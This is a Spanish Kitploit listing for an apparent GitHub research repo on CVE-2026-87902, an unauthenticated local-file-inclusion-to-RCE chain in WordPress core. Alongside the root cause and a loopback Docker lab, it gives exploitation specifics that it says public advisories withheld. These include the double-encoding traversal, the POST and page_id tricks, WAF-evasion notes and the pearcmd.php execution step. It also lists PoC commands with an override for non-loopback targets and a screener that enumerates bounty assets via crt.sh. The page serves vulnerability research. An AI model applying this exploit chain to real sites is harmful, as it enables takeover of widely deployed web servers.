Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-87902 — WordPress Core <= 7.1.1 LFI no autenticado a RCE - laboratorio de validación, PoC, plantilla de nuclei (GHSA-7hp8-65ch-5whp) | Kitploit
Herramientas/GitHubGitHub/hassham1/cve-2026-87902
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHub
233hace 24 díasAún no revisado
hassham1/cve-2026-87902

CVE-2026-87902

WordPress Core <= 7.1.1 LFI no autenticado a RCE - laboratorio de validación, PoC, plantilla de nuclei (GHSA-7hp8-65ch-5whp)

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-87902 - Laboratorio de Validación de LFI No Autenticado → RCE en el Núcleo de WordPress

Material de investigación de seguridad para reproducir y validar CVE-2026-87902 (GHSA-7hp8-65ch-5whp) en un laboratorio Docker aislado, solo en loopback: una inclusión local de archivos no autenticada en la resolución de plantillas de página del núcleo de WordPress, escalable a ejecución remota de código.

  • Afectados: WordPress 4.7.0 hasta 7.1.1 (todas las ramas mantenidas)
  • Corregido: 7.1.2 y backports por rama (4.7.37, 5.9.18, 6.9.9, 7.0.6, …) - 22 Sep 2026
  • CVSS 4.0: 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
  • CWE-98 - Control inadecuado del nombre de archivo para la sentencia Include/Require

Veredicto

Estado: demostrado en el laboratorio proporcionado.

WordPress 7.1.1 (tema Twenty Twelve) permite a un atacante no autenticado incluir archivos PHP desde fuera del directorio del tema a través de la variable de consulta pagename, y - con el valor predeterminado register_argc_argv = On de la imagen oficial de PHP - escribir y ejecutar un archivo marcador mediante pearcmd.php de PEAR:

WordPress: 7.1.1
Theme:     twentytwelve (page-templates/ present)
PHP:       8.2 (official image, register_argc_argv=On, PEAR present)
Result:    LFI oracle fired (<opml version="1.0">); marker probe executed as
           uid=33(www-data) and self-deleted

WordPress 7.1.2 con la configuración idéntica bloquea el oráculo por completo (control negativo). Esto demuestra la ejecución de código como el usuario del servidor web de WordPress dentro del contenedor. No demuestra acceso root, escape del contenedor, movimiento lateral ni compromiso del host.

Inicio rápido

Requisitos: Docker con Compose v2, Python 3.10+, acceso de red a Docker Hub y wordpress.org (instalación del tema).

./lab verify

Esto construye el laboratorio vulnerable, exige que el oráculo LFI y el marcador RCE se activen, luego construye el laboratorio parcheado y exige que el oráculo permanezca silencioso.

Para usar otro puerto de loopback: LAB_PORT=9499 ./lab verify.

Elimina todo después con ./lab reset.

Evidencia esperada

Control vulnerable:

[+] page-* folder(s) reachable: page-templates (traversal can resolve)
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
...
[RCE] pearcmd.php reachable and taking argv: /usr/local/lib/php/pearcmd.php
[!!!] RCE CONFIRMED (pearcmd.php config-create file write):
  evidence: uid=33(www-data) (command `id` ran as the web user)
  cleanup : probe self-deleted on execution: confirmed
RESULT: VULNERABLE CONTROL CONFIRMED

Control parcheado:

[=] oracles did not fire: target patched (>= 7.1.2), ...
RESULT: PATCHED CONTROL CONFIRMED

Un HTTP 200, un bloqueo de WAF o un traversal parcial sin el marcador del oráculo no se acepta como prueba.

Ciclo de vida manual del laboratorio

./lab start vulnerable   # fresh 7.1.1 lab on 127.0.0.1:9471
./lab test               # assert LFI + RCE
./lab start patched      # fresh 7.1.2 lab
./lab test               # assert oracle absence
./lab status
./lab reset              # containers, volumes, state

Ejecuta las herramientas manualmente contra el laboratorio en funcionamiento:

python3 poc/triage_cve_2026_87902.py --url http://127.0.0.1:9471
python3 poc/poc_cve_2026_87902.py --url http://127.0.0.1:9471 --rce
nuclei -t nuclei/cve-2026-87902.yaml -u http://127.0.0.1:9471 -silent

Para sistemas que posees o estás explícitamente autorizado a probar (alcance de bug-bounty, encargo por escrito), los drivers requieren la anulación explícita:

python3 poc/poc_cve_2026_87902.py --url https://target.example \
  --allow-authorized-non-loopback [--insecure] [--rce]

Causa raíz

get_page_template() en wp-includes/template.php construye un nombre de archivo de plantilla candidato a partir de la variable de consulta pagename. La rama hermana tres líneas más arriba pasa el slug de la plantilla de página por validate_file(); la rama pagename nunca lo hizo, y además añade un candidato extra decodificado con urldecode():

// wp-includes/template.php, get_page_template(), WordPress <= 7.1.1
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {          // 7.1.2 adds validate_file()
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}

7.1.2 aplica validate_file() al candidato decodificado y añade una puerta de contención (_wp_is_template_path_allowed()) que toda ruta de plantilla resuelta debe superar.

Precondiciones

  1. El tema activo (hijo o padre - locate_template() comprueba ambos) incluye un directorio de nivel superior que comienza con page-. Los temas predeterminados heredados (Twenty Twelve, Twenty Fourteen) y varios temas de wp.org (Neve, Hestia, Sydney) cumplen. Los temas comerciales investigados (Divi, Avada, Flatsome, Woodmart, Betheme, The7, Enfold, Salient, Jupiter/X, Porto, Houzez, XStore, Kalium, Uncode) no incluyen ninguno - el traversal no puede resolverse; consulta PRO_THEME_PAGE_DIRS en el PoC para la lista obtenida de espejos.
  2. El archivo incluido debe terminar en .php (añadido por el código).
  3. RCE además necesita register_argc_argv = On y el pearcmd.php de PEAR.

Notas operativas verificadas en el laboratorio (más allá de los avisos públicos)

El aviso y el artículo de Patchstack se niegan a publicar una solicitud funcional. Estos detalles se establecieron empíricamente en este laboratorio:

  1. Un ancla page_id es obligatoria. Un pagename no resuelto activa is_404, cuya plantilla eclipsa por completo get_page_template(). Ancla la consulta con cualquier page_id publicado y resoluble.
  2. Se requiere doble codificación completa. get_posts() reescribe pagename a través de sanitize_title_for_query( wp_basename( … ) ): el .. sin procesar se convierte en -, pero las secuencias %hex sobreviven; el urldecode() extra en get_page_template() revela el traversal. Solo funciona %252e/%252f.
  3. Los enlaces permanentes bonitos fuerzan POST (redirect_canonical hace 301 en GET y descarta el payload; retorna inmediatamente para no-GET/HEAD).
  4. Profundidad exacta: cuatro ../ desde page-templates/ en un docroot estándar.
  5. El payload también se activa desde el cuerpo POST (WP fusiona $_POST en las variables de consulta) - la base de los niveles de evasión de WAF.
  6. Particularidades del transporte de pearcmd: PHP no decodifica con urldecode los tokens de $argv, y el serializador de configuración de PEAR escapa ambos estilos de comillas - de ahí la sonda sin procesar, sin comillas y separada por +.

Conjunto de herramientas

RutaPropósito
poc/poc_cve_2026_87902.pyPoC completo: huella de versión + WAF, enumeración de temas/carpetas page-* (SVN de wp.org, descubrimiento por referencia de assets, mapa investigado de temas pro), descubrimiento de anclas, oráculo LFI de 8 variantes, oráculo comparativo de cuerpo vacío como respaldo, cadena pearcmd --rce, demo docker --lab
poc/triage_cve_2026_87902.pyVeredicto por objetivo o por lote con la puerta fallida nombrada (EXPLOITABLE / NOT EXPLOITABLE / WAF SUSPECTED / INCONCLUSIVE)
poc/bounty_screen.pyTrabaja una lista de activos de bug-bounty dentro del alcance: expansión de comodines de crt.sh → filtro WP → cribado de precondiciones → entrega de candidatos
nuclei/cve-2026-87902.yamlPlantilla de Nuclei: oráculo LFI seguro (174 payloads: 10 restos page-*, niveles de doble/triple codificación, ids 1–30)
Descargar herramienta